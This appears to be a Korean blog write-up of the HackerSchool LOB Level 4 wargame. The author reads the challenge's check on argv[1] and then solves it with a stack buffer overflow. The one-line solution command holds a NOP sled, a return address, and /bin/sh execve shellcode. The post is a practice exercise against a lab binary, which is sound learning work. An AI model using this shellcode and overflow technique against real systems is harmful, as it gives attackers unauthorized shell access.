본문 바로가기

WarGame/HackerSchool_LOB

HackerSchool LOB Level4

소스를 보니까



대충 이렇다.

for문은 지금은 잘 모르겠다.

extern으로 외부배열변수를 선언해서

뭔가 각각의 index를 0으로 채워버리는 짓을 하는 것 같다.

주석에 egghunter라고 되어있는걸 보니

eggshell을 막는 건가?

여튼 지금은 모르겠다.




일단, if문을 살펴보면

첫 번째 argument의 48번째 바이트가 \xbf 가 아니면,

문자열을 출력해주고 프로그램이 종료된다.


그 뒤의 strcpy를 하고싶으면

첫 번째 argument의 48번째 바이트를 \xbf로 맞춰주면 될 거 같다.


그래서 해봤다.

일단 스트링카피가 되긴 된다.


그럼 이제 오버플로우를 발생시키면 되는건가?

한번 해보자







./orc `python -c 'print "\x90"*44+"\x08\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*50'`



성공했다



'WarGame > HackerSchool_LOB' 카테고리의 다른 글

HackerSchool LOB Level6  (0) 2014.07.29
HackerSchool LOB Level5  (0) 2014.07.29
HackerSchool LOB Level3  (0) 2014.07.24
HackerSchool LOB Level2  (0) 2014.07.24
HackerSchool LOB Level1  (0) 2014.07.23